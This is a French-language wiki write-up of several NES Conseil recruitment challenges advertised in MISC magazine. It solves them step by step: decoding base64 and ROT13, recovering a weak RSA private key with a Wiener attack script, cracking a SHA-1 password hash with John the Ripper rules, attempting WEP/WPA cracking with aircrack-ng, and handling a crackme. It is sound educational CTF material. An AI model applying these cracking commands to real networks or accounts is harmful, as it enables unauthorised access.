curiosite:challenge:nes
Table des matières
Numéro 1
Étant abonné à la revue MISC (Multi-System Internet Security Cookbook), je suis tombé sur une publicité amusante.
Désolé, l'image étant l'arrière du magasine, j'ai eu beaucoup de mal à prendre une photo impeccablement droite et le QRCode n'est pas lisible.
Cependant, il est le suivant :
Trouvez la solution du challenge QR Code NES pour nous contacter. étape1/4: 6XRhcGUgMi80OgotLS0tLUJFR0lOIFBVQkxJQyBLRVktLS0tLQpNSUlCSHpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVF3QU1JSUJCd0tCZ1FDTk9nOWdlL0lGbWd5NWk5N2hmZDdxCnFKaXZZNkdDWlhXSmlGUDhBSFVLQ2owV1kwSFhyczJJbnBqSTQxV0M0RmNGc0dNTkRmOWJkTFZIcUJMWng1RlIKTHFHSmZvQmh0WUYzajJpK1YzcDBuTzN3SU91ZXZlanhuSHZ5aFNoUGthSzhQcVRLdVdFcDdQWkFuQmIyVWVsaQpsdWVJUFhWeGFaN1pwcDNnQWxMMGZRS0JnSFkzM1hQZUh3WWFOWWlOVG9pR0cvUWhpMzhTZC9EOElHYTNkQmdtCk1ReTh6VndBNEJGOXJDc0ZYbThCQm1sb1hUTTdUUjhYTEUrdnlsaGhBTk9VK1MzeUx4aHVBTHEvUXQxZzZlUHEKclNlclBMbEV1U1FMOUgrWHVQb0ZJRk5NVEdyZmUzWm5ZZ2YvME9pVENCMG5ya0tBZXM2M25GSmplN3BSUDJMdgpNRll6Ci0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQotLS0tLUJFR0lOIEVOQ1JZUFRFRCBNRVNTQUdFLS0tLS0KWDlIY1RSMWVhVGpIR0lxZUVYUWJDZ2ljKytGVisxNlhuUCt1T0UyMFhTdXVTQ0pBa3pibm1LSlQ1T2d2RXBGOEtVYnFlVVNpMk04bwoxVEs2bXNLWnY5SXJpbG0wd2YrSUcwYmlIeVBDUDBpaGdHL3p4d2NjUEdDVWczYjdhMzF4dExta2I5NkpEaTR4YUdCTjYzZHF6WTZpCkFTYVVQZnNqUnJsRXhzLzlNRFk9Ci0tLS0tRU5EIEVOQ1JZUFRFRCBNRVNTQUdFLS0tLS0=
Là, il s'agit d'un simple encodage en base 64 avec un encodage interne de type Windows-1252. Base64 Decode s'en occupe tout seul.
J'avoue que j'ai été franchement déçu par cette étape très simple mais c'était juste un simple avant goût pour la suite.
étape 2/4: -----BEGIN PUBLIC KEY----- MIIBHzANBgkqhkiG9w0BAQEFAAOCAQwAMIIBBwKBgQCNOg9ge/IFmgy5i97hfd7q qJivY6GCZXWJiFP8AHUKCj0WY0HXrs2InpjI41WC4FcFsGMNDf9bdLVHqBLZx5FR LqGJfoBhtYF3j2i+V3p0nO3wIOuevejxnHvyhShPkaK8PqTKuWEp7PZAnBb2Ueli lueIPXVxaZ7Zpp3gAlL0fQKBgHY33XPeHwYaNYiNToiGG/Qhi38Sd/D8IGa3dBgm MQy8zVwA4BF9rCsFXm8BBmloXTM7TR8XLE+vylhhANOU+S3yLxhuALq/Qt1g6ePq rSerPLlEuSQL9H+XuPoFIFNMTGrfe3ZnYgf/0OiTCB0nrkKAes63nFJje7pRP2Lv MFYz -----END PUBLIC KEY----- -----BEGIN ENCRYPTED MESSAGE----- X9HcTR1eaTjHGIqeEXQbCgic++FV+16XnP+uOE20XSuuSCJAkzbnmKJT5OgvEpF8KUbqeUSi2M8o 1TK6msKZv9Irilm0wf+IG0biHyPCP0ihgG/zxwccPGCUg3b7a31xtLmkb96JDi4xaGBN63dqzY6i ASaUPfsjRrlExs/9MDY= -----END ENCRYPTED MESSAGE-----
Et là, c'est direct dans ma face pour souligner ma médiocrité.
BEGIN PUBLIC KEY est la définition d'une clé public selon l'algorithme X.509.
J'ai vaguement pu m'amuser avec via la commande :
> ssh-keygen -i -m PKCS8 -f key.asc ssh-rsa AAAAB3NzaC1yc2EAAACAdjfdc94fBho1iI1OiIYb9CGLfxJ38PwgZrd0GCYxDLzNXADgEX2sKwVebwEGaWhdMztNHxcsT6/KWGEA05T5LfIvGG4Aur9C3WDp4+qtJ6s8uUS5JAv0f5e4+gUgU0xMat97dmdiB//Q6JMIHSeuQoB6zrecUmN7ulE/Yu8wVjMAAACBAI06D2B78gWaDLmL3uF93uqomK9joYJldYmIU/wAdQoKPRZjQdeuzYiemMjjVYLgVwWwYw0N/1t0tUeoEtnHkVEuoYl+gGG1gXePaL5XenSc7fAg65696PGce/KFKE+Rorw+pMq5YSns9kCcFvZR6WKW54g9dXFpntmmneACUvR9
On voit donc que c'est du RSA
On cherche donc à afficher le module et l'exposant de la clé
> openssl rsa -pubin -text -noout -modulus < key.asc Public-Key: (1024 bit) Modulus: 00:8d:3a:0f:60:7b:f2:05:9a:0c:b9:8b:de:e1:7d: de:ea:a8:98:af:63:a1:82:65:75:89:88:53:fc:00: 75:0a:0a:3d:16:63:41:d7:ae:cd:88:9e:98:c8:e3: 55:82:e0:57:05:b0:63:0d:0d:ff:5b:74:b5:47:a8: 12:d9:c7:91:51:2e:a1:89:7e:80:61:b5:81:77:8f: 68:be:57:7a:74:9c:ed:f0:20:eb:9e:bd:e8:f1:9c: 7b:f2:85:28:4f:91:a2:bc:3e:a4:ca:b9:61:29:ec: f6:40:9c:16:f6:51:e9:62:96:e7:88:3d:75:71:69: 9e:d9:a6:9d:e0:02:52:f4:7d Exponent: 76:37:dd:73:de:1f:06:1a:35:88:8d:4e:88:86:1b: f4:21:8b:7f:12:77:f0:fc:20:66:b7:74:18:26:31: 0c:bc:cd:5c:00:e0:11:7d:ac:2b:05:5e:6f:01:06: 69:68:5d:33:3b:4d:1f:17:2c:4f:af:ca:58:61:00: d3:94:f9:2d:f2:2f:18:6e:00:ba:bf:42:dd:60:e9: e3:ea:ad:27:ab:3c:b9:44:b9:24:0b:f4:7f:97:b8: fa:05:20:53:4c:4c:6a:df:7b:76:67:62:07:ff:d0: e8:93:08:1d:27:ae:42:80:7a:ce:b7:9c:52:63:7b: ba:51:3f:62:ef:30:56:33 Modulus=8D3A0F607BF2059A0CB98BDEE17DDEEAA898AF63A1826575898853FC00750A0A3D166341D7AECD889E98C8E35582E05705B0630D0DFF5B74B547A812D9C791512EA1897E8061B581778F68BE577A749CEDF020EB9EBDE8F19C7BF285284F91A2BC3EA4CAB96129ECF6409C16F651E96296E7883D7571699ED9A69DE00252F47D
ou
Exponent = 7637dd73de1f061a35888d4e88861bf4218b7f1277f0fc2066b7741826310cbccd5c00e0117dac2b055e6f010669685d333b4d1f172c4fafca586100d394f92df22f186e00babf42dd60e9e3eaad27ab3cb944b9240bf47f97b8fa0520534c4c6adf7b76676207ffd0e893081d27ae42807aceb79c52637bba513f62ef305633 = 83015659230707798136988389333742389100211520860733750949581213055753176063996202794218815818517520298681322771392609387302439918107270418059701131529202200101666720350430855744685780723469668115834315629212111504894058886131770148633676379925639912106581828415670161589944531988653056863903844795474141795891 modulus = 99172829556296843357974581513476038541946612455920286346838376671975918061293568918611368295787401208998997824607813979348067793658930092652249315132325003566305913664536862656742124106210234697356578003146705906365061336362515538197586525961873081107921002421927152657307166666898266240632540829654013113469
Conversion des nombres hexadécimaux en décimaux
Pour obtenir la clé privée, il faut décomposer le module et chercher son fameux produit (Attaque de Wiener).
Pour résoudre cette attaque, on peut utiliser oWiener Archive
curl -O https://raw.githubusercontent.com/orisano/owiener/master/owiener.py
- modulus.py
import owiener e = 83015659230707798136988389333742389100211520860733750949581213055753176063996202794218815818517520298681322771392609387302439918107270418059701131529202200101666720350430855744685780723469668115834315629212111504894058886131770148633676379925639912106581828415670161589944531988653056863903844795474141795891 n = 99172829556296843357974581513476038541946612455920286346838376671975918061293568918611368295787401208998997824607813979348067793658930092652249315132325003566305913664536862656742124106210234697356578003146705906365061336362515538197586525961873081107921002421927152657307166666898266240632540829654013113469 d = owiener.attack(e, n) if d is None: print("Failed") else: print("Hacked d={}".format(d))
avec e l'exposant et n le module.
Son exécution avec Python donne :
Hacked d=11394715239750551400147406032726894583098881501560698843761325450881137048891
Et maintenant, on crée notre clé privée avec rsatool Archive
Et on exécute avec le n et le d précédent :
> python rsatool.py -d 11394715239750551400147406032726894583098881501560698843761325450881137048891 -e 83015659230707798136988389333742389100211520860733750949581213055753176063996202794218815818517520298681322771392609387302439918107270418059701131529202200101666720350430855744685780723469668115834315629212111504894058886131770148633676379925639912106581828415670161589944531988653056863903844795474141795891 -n 99172829556296843357974581513476038541946612455920286346838376671975918061293568918611368295787401208998997824607813979348067793658930092652249315132325003566305913664536862656742124106210234697356578003146705906365061336362515538197586525961873081107921002421927152657307166666898266240632540829654013113469 -o nes_privkey Using (n, d) to initialise RSA instance n = 8d3a0f607bf2059a0cb98bdee17ddeeaa898af63a1826575898853fc00750a0a3d166341d7aecd88 9e98c8e35582e05705b0630d0dff5b74b547a812d9c791512ea1897e8061b581778f68be577a749c edf020eb9ebde8f19c7bf285284f91a2bc3ea4cab96129ecf6409c16f651e96296e7883d7571699e d9a69de00252f47d e = 7637dd73de1f061a35888d4e88861bf4218b7f1277f0fc2066b7741826310cbccd5c00e0117dac2b 055e6f010669685d333b4d1f172c4fafca586100d394f92df22f186e00babf42dd60e9e3eaad27ab 3cb944b9240bf47f97b8fa0520534c4c6adf7b76676207ffd0e893081d27ae42807aceb79c52637b ba513f62ef305633 d = 19312e2686b1665b4be8bfa1a9daf7aeafa3f30be9e77c515d7c9a188d26fd3b p = 92e90f85dae93da2c25ead4557e1dd7af9485c321a20d67081c3399357d160c4612a021043059bd6 ef4116b56eac9326eb534bad6a33e6a79a046f3a99428ecd q = f6189370867444da192309146b88ecda93293d794afebc2d4537e4d0496c03edfd8ad13ddeaef3d0 4bed8f9583dc638342a68e8443826746e58cd3adf6a19c71 Saving PEM as nes_privkey
Puis on décode le message
openssl rsautl -decrypt -in <(base64 -d etape_2_cipher) -inkey nes_privkey
avec etape_2_cipher un fichier qui contient
X9HcTR1eaTjHGIqeEXQbCgic++FV+16XnP+uOE20XSuuSCJAkzbnmKJT5OgvEpF8KUbqeUSi2M8o1TK6msKZv9Irilm0wf+IG0biHyPCP0ihgG/zxwccPGCUg3b7a31xtLmkb96JDi4xaGBN63dqzY6iASaUPfsjRrlExs/9MDY=
Résultat :
étape3/4: égncr4/4: raibvr abhf ha znvy à: punyyratr.DE-pbqr_001@arf.se
Puis avec un rotation de 13 caractères :
égncr3/4: étape4/4: envoie nous un mail à: challenge.QR-code_001@nes.fr
Un document qui peut-être pourrait aider : Chiffrement et authentification, Archive
Un énorme merci à notfound pour m'avoir donné la solution à ce challenge ma fois plutôt intéressant.
Numéro 2
Ils ont recommencé ça avec le magasine de Juin 2017.
La pub
Le scan
Cette fois l'image permet un scan avec un téléphone Android et l'appli (par exemple) Barcode Scanner.
T2JhYXIgcHVuYXByICEKdWdnYzovL292Zy55bC8xcWlZRkZFCnVnZ2M6Ly9vdmcueWwvMmFqZnI5bAp1Z2djOi8vb3ZnLnlsLzE4ZXBiQlI=
Le scan décodé
Le résultat est (merci base64decode) :
Obaar punapr ! uggc://ovg.yl/1qiYFFE uggc://ovg.yl/2ajfr9l uggc://ovg.yl/18epbBR
Le chiffre de César
On repère facilement en première ligne les http:.
Entre le h et le u, il y a 13 lettres. C'est le chiffre de César qui permet un décalage en +13 ou -13 pour chiffrer / déchiffrer.
Là encore, il y a des sites internet qui le font très bien Chiffre de César Archive du 2015 le 26/04/2020
Résultat :
Bonne chance ! http://bit.ly/1dvLSSR http://bit.ly/2nwse9y http://bit.ly/18rcoOE
Analyse des liens :
- http://bit.ly/1dvLSSR ⇒ https://www.youtube.com/watch?v=kxopViU98Xo (Epic sax guy 10 hours). Je ne suis pas sûr de tenir les 10 heures ^^.
- http://bit.ly/2nwse9y ⇒ http://pastebin.fr/49604 (C'est le lien qui nous intéresse)
- http://bit.ly/18rcoOE ⇒ http://www.nyan.cat/ On s'amuse bien chez NES ;)
Le challenge
Voici le challenge NES n°2. Bonne chance à tous. https://www.nes.fr/challenge/CHALL_NES2 https://www.nes.fr/challenge/CHALL_NES2.sig https://www.nes.fr/challenge/CHALL_NES2.sha256.sum Miroirs pour l'archive du challenge NES N°2 http://jheberg.net/captcha/chall-nes2-2/ https://mega.nz/#!0Vo3xIwS L'adresse mail vous permettant de postuler chez NES se cache dans la solution du challenge Cordialement, NES Conseil https://www.nes.fr f298b804d367657136375671a46aefbebee65d652b5c2978bb50b1a89eb7ca79 CHALL_NES2 (SHA 256) -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.17 (MingW32) Comment: Gnu Privacy Tools Comment: Download at http://www.gnupt.de iQEcBAABAgAGBQJY0TVBAAoJEC8gM8yxa5hMRFIH/3hjFwugcxqlwvybHVuvh8x0 fXppnF7n6/TJkl/Q1V8G0xp6e0Kwdf9/aNx4JHN+teec67Ev4XkLUgqiS71mD2Vr rCyW1jSeiZ8ZWMemVWla6njBplZ1VQT/32e4uALdbw3667zW9YgS3UBSSQLZVisS D8IkSynVVmQXuQlZqNDzXvV3b7krc5LUJdbKUu3am5gtRnF5YfM6BjVtMZgjVe3u 3yj6HYCyalLEByU2FtpHg01eT5aUnLGSGA/Bwn9/wwbRE+OzUxvbOSxSVAfI5Fyj ZWPcfuTWApLdSu5eycPLIumQL/dodXD2FGiNpovl1AgWRq2SpnC0yHTQn/nuUas= =8b9k -----END PGP SIGNATURE----- -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v2.0.17 (MingW32) Comment: Gnu Privacy Tools Comment: Download at http://www.gnupt.de mQENBFjP9BABCAC86m5BhFGg4Yy1Jbt/56CPI8yJ7FYxx1uAVXtXiOYzuoJM81O9 exfc/Ep+5QYggy2i7dAN5GlgHA8M2Cgz1PiPpXZLoi1GfyOVJQGbs1coT5rSmXhQ j/xvBb8GpaegsDAl0EPa6hRpcrdFXJwwgJIeRS6nLGnoyK7aEsutf/Wfi0A5rHll H+ZtiI1NFs0x8iIaO9/Evrlb2RtxXj6e4x3LIQF1fbR5sXaZ6wF+LFO1l5nmfXZV JKflvDLR53/VrHYe7wwx5HqZZRyT4ttihcgcbp+NnN+c2ziDBZdZ451NWBE6HBJa jLDDk2Wk1QIV/LWXGvA45GxJv9UJa15bDomrABEBAAG0I1FSY2hhbGxlbmdlX25l czIgPGNoYWxsZW5nZUBuZXMuZnI+iQE4BBMBAgAiBQJYz/QQAhsDBgsJCAcDAgYV CAIJCgsEFgIDAQIeAQIXgAAKCRAvIDPMsWuYTOucB/9he1fmPtiOKQgfwBWfNYiy 3lkR/RUUpWHc8RIs4SCHzFNEyZZvW32Q4dfbnNER2yo1O5ORAmgIekBJ7dmuC71H A5+3DpJqJy7dpiEMHoEQiYAd1z3rjxCnfvNFDIZpEMyfVWGiR1+2Jd4hEx9qF1c6 w+Xhr5XzbkFvUK1wNty3Eauq1GgEq/REc5tLvLckP+Bptju7k2mojx8i/K162pKo xHRIr9g/SPdKz0SP/zxhhbIr9YOR5hqmoNrCkKSFjG+cwDKOyquVc6tBr0JfhG1C dqCKO4qtSwLb0xFQmG2Thi483cQBWfWkQBPz91d4tmfJYVlN0jMu2MFdMTXUoSP2 uQENBFjP9BABCAC7t73ofU3uY4x5ygAXVvylbvTRJZxD8SzSjgOkecs5/Z0gaSut vHu58E9en63LG7XeYVTJjT3odm36C336NPjexHmf+qRCApfjuFELbWMnvDyGfCr2 ULwyJugWjlNBmkFyiIaKUFhRMctIbDbVATVPq7V+tI3y0yyhuc+y8ym9FoJNOC/p xsmT8Wd5u2whrTgqN3gesXjEgt8ey3Lqrzt4I+KPe76pNlArb+mBCsBIa0fwt9a0 OxxgElj7OOd4CRZKvpjCtADpa+g8aZz2rO9I7MCOWKhbHfiIGWeD6P51TmzVqEXh QzH1TlFnotZWM2jUMgcxqY2GjjLPx35o29Z/ABEBAAGJAR8EGAECAAkFAljP9BAC GwwACgkQLyAzzLFrmEzomAf+Ih6SawVkgb5Y+WmauvcCg950tKpqraRiMVrmr0fm E+hzxYmLY8joYj1k/7UmtxVl2UeaiH8ztfp7RrQyUKcsZmDpzp4j6mikA0PQOVKk hIAe2QxhGusqLVqH3h2HUO9JXG7BvYEKOur7PGJlwDIe1TuAQlURdgFLBQHuHxIl fEa61GP4JmEJiH6HKe5E3znw2s2xxhELJSgJUMsavUK7u61Ab+Yx3lARi9UYw33W wRhzPyNSzG/x+j6upaG5W1nWaosYCGlblWZ9OGm8t1FGsTjnpAD2a/3xHJ8xvL6U +Qt0wk7HmnF+amYHgS/Udws5jhscj67ozt3etFRehm8fDw== =Q4EP -----END PGP PUBLIC KEY BLOCK-----
Les archives
Analyse récursive
Un sha256sum -c CHALL_NES2.sha256.sum permet de vérifier que la signature est bonne.
CHALL_NES2: Réussi
Le fichier fournit est une archive qui contient une archive qui contient une archive qui ….
file CHALL_NES2 CHALL_NES2: Zip archive data, at least v1.0 to extract unzip CHALL_NES2 extracting: CHALL_NES2
file CHALL_NES2 CHALL_NES2: XZ compressed data mv CHALL_NES2 CHALL_NES2.xz xz -d CHALL_NES2.xz
file CHALL_NES2 CHALL_NES2: Microsoft Cabinet archive data, 1131532 bytes, 1 file mv CHALL_NES2 CHALL_NES2.cab cabextract CHALL_NES2.cab Extracting cabinet: CHALL_NES2.cab extracting CHALL_NES2 All done, no errors.
file CHALL_NES2 CHALL_NES2: Zip archive data, at least v2.0 to extract unzip CHALL_NES2 Archive: CHALL_NES2 inflating: NES_CHALL2
file NES_CHALL2 NES_CHALL2: gzip compressed data, last modified: Mon Mar 20 15:48:19 2017, from Unix mv NES_CHALL2 NES_CHALL2.tar.gz tar -xvzf NES_CHALL2.tar.gz
file NES_CHALL2 data
Il faut ici utiliser une autre technique pour extraire les premières informations utiles du fichier. (bash - What could cause the file command in Linux to report a text file as data_ - Super User Archive du 11/04/2012 le 26/04/2020
head -n 1 NES_CHALL2
Résultat :
BEA01NSR02TEA01C2� NES_CHALL220101122OSTA Compressed UnicodeOSTA Compressed Unicodek
En cherchant, je suis tombé sur la page UDF - OSDev Wiki Archive du 03/07/2014 le 26/04/2020 qui dit que BEA01 : Denotes the beginning of the extended descriptor section.
C'est donc une partition UDF. Il suffit donc de la monter avec la commande (Mount UDF ISO Archive du 25/09/2010 le 26/04/2020) :
sudo mount -t udf -o loop,ro,unhide,uid=$(id -u) NES_CHALL2 dossier
On obtient enfin les challenges à résoudre :
.
├── 01
│ ├── john.rules
│ ├── readme.txt
│ ├── sniff01.pcapng.gz
│ └── wl_fr_nes.7z
├── 02
│ ├── readme.txt
│ ├── sniff02.pcapng.gz
│ ├── sniff02_readme.txt
│ └── sniff03.pcapng.gz
├── 03
│ ├── crack_me.exe
│ └── readme.txt
└── 04
├── arch04.7z
├── pub_key.asc
└── readme.txt
Cas 1
Commençons par ouvrir sniff01.pcapng.gz avec WireShark.
On voit qu'il y a l'envoi d'une image au format PNG découpé en plusieurs trames TCP. Pour récupérer l'image, il faut sélectionner la dernière ligne qui contient l'image PNG. Dans ce cas, il apparait un onglet Reassembled TCP. Faire un clic droit sur la ligne Portable Network Protocol et l'exporter dans un fichier.
En l'ouvrant avec Gimp, petits messages d'avertissement sur l'image.
On voit que l'image est composée de couleur en niveau de gris. Les 16 valeurs de gris sont : 69 88 73 70 32 69 83 84 32 84 79 78 32 65 77 73 soit en caractère ASCII : EXIF EST TON AMI
exiftool sniff01.png
ExifTool Version Number : 10.55
File Name : img.png
Directory : .
File Size : 3.9 kB
File Modification Date/Time : 2017:06:22 22:58:29+02:00
File Access Date/Time : 2017:06:22 23:23:34+02:00
File Inode Change Date/Time : 2017:06:22 22:58:29+02:00
File Permissions : rw-r--r--
File Type : PNG
File Type Extension : png
MIME Type : image/png
Image Width : 16
Image Height : 1
Bit Depth : 8
Color Type : RGB
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
Exif Byte Order : Little-endian (Intel, II)
Image Description : Belle image !
Make : CANON & NIKON
Camera Model Name : T'es CANON alors NIKON
Artist : NES Conseil
Copyright : 2017
Date/Time Original : 1970:01:01 00:00:00
User Comment : épreuve de stégano
GPS Version ID : 2.2.0.0
GPS Latitude Ref : North
GPS Longitude Ref : West
GPS Altitude Ref : Above Sea Level
GPS Map Datum : WGS-84
Thumbnail Offset : 442
Thumbnail Length : 713
Copyright Notice : NES Conseil
Keywords : {NES_challenge_token}:7114C77C4950447E9B17348B7C789F0D64142262
Source : https://www.nes.fr/
Pixels Per Unit X : 39
Pixels Per Unit Y : 39
Pixel Units : meters
Profile Name : Photoshop ICC profile
Profile CMM Type : Lino
Profile Version : 2.1.0
Profile Class : Display Device Profile
Color Space Data : RGB
Profile Connection Space : XYZ
Profile Date Time : 1998:02:09 06:49:00
Profile File Signature : acsp
Primary Platform : Microsoft Corporation
CMM Flags : Not Embedded, Independent
Device Manufacturer : IEC
Device Model : sRGB
Device Attributes : Reflective, Glossy, Positive, Color
Rendering Intent : Media-Relative Colorimetric
Connection Space Illuminant : 0.9642 1 0.82491
Profile Creator : HP
Profile ID : 0
Profile Copyright : Copyright (c) 1998 Hewlett-Packard Company
Profile Description : sRGB IEC61966-2.1
Media White Point : 0.95045 1 1.08905
Media Black Point : 0 0 0
Red Matrix Column : 0.43607 0.22249 0.01392
Green Matrix Column : 0.38515 0.71687 0.09708
Blue Matrix Column : 0.14307 0.06061 0.7141
Device Mfg Desc : IEC http://www.iec.ch
Device Model Desc : IEC 61966-2.1 Default RGB colour space - sRGB
Viewing Cond Desc : Reference Viewing Condition in IEC61966-2.1
Viewing Cond Illuminant : 19.6445 20.3718 16.8089
Viewing Cond Surround : 3.92889 4.07439 3.36179
Viewing Cond Illuminant Type : D50
Luminance : 76.03647 80 87.12462
Measurement Observer : CIE 1931
Measurement Backing : 0 0 0
Measurement Geometry : Unknown
Measurement Flare : 0.999%
Measurement Illuminant : D65
Technology : Cathode Ray Tube Display
Red Tone Reproduction Curve : (Binary data 2060 bytes, use -b option to extract)
Green Tone Reproduction Curve : (Binary data 2060 bytes, use -b option to extract)
Blue Tone Reproduction Curve : (Binary data 2060 bytes, use -b option to extract)
White Point X : 0.31269
White Point Y : 0.32899
Red X : 0.63999
Red Y : 0.33001
Green X : 0.3
Green Y : 0.6
Blue X : 0.15
Blue Y : 0.05999
GPS Altitude : 10 m Above Sea Level
GPS Latitude : 39 deg 6' 37.30" N
GPS Longitude : 76 deg 45' 56.10" W
GPS Position : 39 deg 6' 37.30" N, 76 deg 45' 56.10" W
Image Size : 16x1
Megapixels : 0.000016
Thumbnail Image : (Binary data 713 bytes, use -b option to extract)
Qu'est-ce qu'on y voit ?
Une blague potache
Image Description : Belle image ! Make : CANON & NIKON Camera Model Name : T'es CANON alors NIKON
L'autre de l'image et pourquoi
Artist : NES Conseil User Comment : épreuve de stégano
La clé à analyser
Copyright Notice : NES Conseil
Keywords : {NES_challenge_token}:7114C77C4950447E9B17348B7C789F0D64142262
Source : https://www.nes.fr/
Des coordonnées GPS
GPS Altitude : 10 m Above Sea Level GPS Latitude : 39 deg 6' 37.30" N GPS Longitude : 76 deg 45' 56.10" W GPS Position : 39 deg 6' 37.30" N, 76 deg 45' 56.10" W
Google Maps. J'avoue ne pas avoir trouvé la référence.
La clé correspond à un hachage. Le mot de passe est dans l'archive wl_fr_nes.7z avec une modification à appliquer conformément à la règle de JohnTheRipper :
>12 <13 lcse3sE3sé3sè3
Ce qui signifie :
Un mot d'au moins 12 caractères et d'au maximum 13 caractères. l signifie convert to lowercase, c : capitalize, se3 : remplace les e par des 3, sE3sé3sè3 : remplace les E, é et è par des 3 (John the Ripper - wordlist rules syntax Archive du 14/05/2017 le 26/04/2020).
Copier la règle dans le fichier /etc/john/john.conf.
Copier le hash (7114C77C4950447E9B17348B7C789F0D64142262) dans le fichier hash.
Et lancer la commande :
sudo bash -c "cat john.rules >> /etc/john/john.conf" /usr/sbin/john -w=wl_fr.txt --rules=NesSpecialRules_french hash Warning: detected hash type "raw-sha1", but the string is also recognized as "raw-sha1-linkedin" Use the "--format=raw-sha1-linkedin" option to force loading these as that type instead Warning: detected hash type "raw-sha1", but the string is also recognized as "raw-sha" Use the "--format=raw-sha" option to force loading these as that type instead Warning: detected hash type "raw-sha1", but the string is also recognized as "raw-sha1-ng" Use the "--format=raw-sha1-ng" option to force loading these as that type instead Warning: detected hash type "raw-sha1", but the string is also recognized as "raw-sha1-opencl" Use the "--format=raw-sha1-opencl" option to force loading these as that type instead Loaded 1 password hash (Raw SHA-1 [128/128 AVX intrinsics 4x]) Invalid rule in /etc/john/john.conf at line 1620: Unallowed command
Là, j'ai pas vraiment trouvé. En fait, c'est à cause du fait que > et < marchent avec ma version qu'avec un chiffre et pas un nombre. J'ai remplacé >12 <13 par >9 et j'ai utilisé le format raw-sha1-opencl car j'ai une bonne carte graphique.
/usr/sbin/john -w=wl_fr.txt --format=raw-sha1-opencl --rules=NesSpecialRules_french hash OpenCL platform 0: NVIDIA CUDA, 1 device(s). Using device 0: GeForce GTX 660 Ti Local work size (LWS) 64, Global work size (GWS) 2097152 Loaded 1 password hash (Raw SHA-1 [OpenCL (inefficient, development use only)]) Cyb3rs3curit3 (?) guesses: 1 time: 0:00:00:01 DONE (Fri Jun 23 00:09:58 2017) c/s: 189721 trying: Abaissabl3 - Zymotiqu3s Use the "--show" option to display all of the cracked passwords reliably
Le mot de passe est donc Cyb3rs3curit3.
Cas 2
Sniff02
Là, l'objectif est de cracker une clé WEP.
Il faut commencer à avoir un fichier au format pcap. Ouvrir le fichier sniff02.pcapng avec Wireshark et l'enregistrer au format pcap.
Le bssid (90:F6:52:7F:A5:CD) se lit dans les données IEEE, Destination address :
J'ai alors tenté 5 façons différentes :
- La méthode classique (Toru's Tech_ WEP and WPA Cracking made easy Archive du 02/06/2012 le 28/04/2020
aircrack-ng -b 90:F6:52:7F:A5:CD sniff02.pcap
Failed. Next try with 5000 IVs.
J'aurais dû m'y attendre, le SSID changeant et écrivant au fur et à mesure : WEP IS SECURE IF YOU DONT HAVE ENOUGH IVs
- La méthode force brute
aircrack-ng -K -b 90:F6:52:7F:A5:CD sniff02.pcap
C'est long 242^12 possibilités…
- La méthode chanceuse : C'est la même solution que dans le cas 1 avec john the ripper (en enlevant la condition de longueur de la clé)
/usr/sbin/john --wordlist=../01/wl_fr_nes/wl_fr.txt --rules=NesSpecialRules_french --stdout | aircrack-ng -b 90:F6:52:7F:A5:CD -w - sniff02.pcap
Sans succès.
- La méthode chanceuse bis : le dictionnaire sans modification
aircrack-ng -w ../01/wl_fr_nes/wl_fr.txt -b 90:F6:52:7F:A5:CD sniff02.pcap
Sans succès.
- La méthode JohnTheRipper
/usr/sbin/john --incremental --stdout | aircrack-ng -b 90:F6:52:7F:A5:CD -w - sniff02.pcap
C'est long…
Sniff03
Là, l'objectif est de cracker une clé WPA.
Il faut commencer à avoir un fichier au format pcap. Ouvrir le fichier sniff03.pcapng avec Wireshark et l'enregistrer au format pcap.
- La méthode dictionnaire
aircrack-ng -w ../01/wl_fr_nes/wl_fr.txt -b 90:F6:52:7F:A5:CD sniff03.pcap
A 200 clés par seconde, c'est bien long. John the ripper support le WPA/PSK en version OpenGL.
- La méthode
John the ripperCracking WPA-PSK_WPA2-PSK with John the Ripper [Openwall Community Wiki] Archive du 15/06/2015 le 28/04/2020
Il faut extraire les données Handshake avec cap2hccap (Archive).
cap2hccap.bin sniff03.pcap sniff03.hccap
[info ] writing handshake for "CRACK_ME_IF_YOU_CAN".
Ensuite, il faut convertir vers un format compatible avec John the ripper.
/usr/sbin/hccap2john sniff03.hccap > sniff03
Puis, on lance john the ripper :
john --format=wpapsk-opencl sniff03 -w -w ../01/wl_fr_nes/wl_fr.txt
Sans succès. Ni non plus en appliquant la règle du cas 1. Tant pis :(
Cas 3
Il s'agit du fichier crack_me.exe.
Lors de l'exécution, j'obtiens :
today time is = 23:43:39 Il n'est pas l'heure !
Avant de désassembler, j'ai ouvert avec un éditeur hexadécimal le binaire pour trouver la chaîne de caractères today time is et juste à coté on peut lire en clair 05:22:43.
En exécutant le programme à 5h22m43s, le texte devient
today time is = 05:22:43
{NesToken}:?*itQ9}o hex:3F2A697451397D6F
La valeur hex est la même que le texte en clair. Là, j'ai pas trouvé si c'était le mot de passe ou s'il fallait en faire quelque chose…
Numéro 3
Décembre 2018 : un nouveau challenge : https://pastebin.com/raw/BUfMLm6L
Le Challenge
,*//*.
*(((((((((( /. ,/// /// /////////////* .////////////,
(((((((((((/ ((( (((((((. ((* .(((((((((((((. /((((((((((((((*
.(((((. .((((..(((( ((( /(((/ /(( /((. .((/
(((((( /(. (( /((((* *((, /((( ((( ((( (((
(((((/ (((( (((((/ ((( ((((((. ,((((((((, /(((((((((((
/((((..((((* .(((((. .((/ ((((( ((( (((
(((( ((((((((((((/ /((. .(((/ ((/ (((
((* (((((((((((* ((( (((. *((((((((((((( (((((((((((((((.
*(((((((((
MISC - Challenge
Un de nos client VIP a subi une attaque !
D'après lui des données ultra-confidentielles ont fuitées ...
Nous comptons sur vous pour retrouver ce qui a fuité !
Pour ce faire le client nous a transmis une capture réseau de l'attaque.
uggcf://jjj.arf.se/punyyratr/ARF-punyyratr.gne.tm
# Retrouver l'adresse mail de NES qui vous permettera de postuler !
GL HF
Le chiffre de César
On repère facilement en première ligne les https:.
Entre le h et le u, il y a 13 lettres. C'est le chiffre de César qui permet un décalage en +13 ou -13 pour chiffrer / déchiffrer.
Il y a des sites internet qui le font très bien Chiffre de César Archive du 01/06/2011 le 28/04/2020.
Résultat : https://www.nes.fr/challenge/NES-challenge.tar.gz, archive
L'analyse du dump Wireshark
Il n'y a pas d'interférence dans le dump.
Il y a plusieurs blocs séparés par des resets du serveur TCP.
Le premier bloc est sans intérêt (trames 1 à 79).
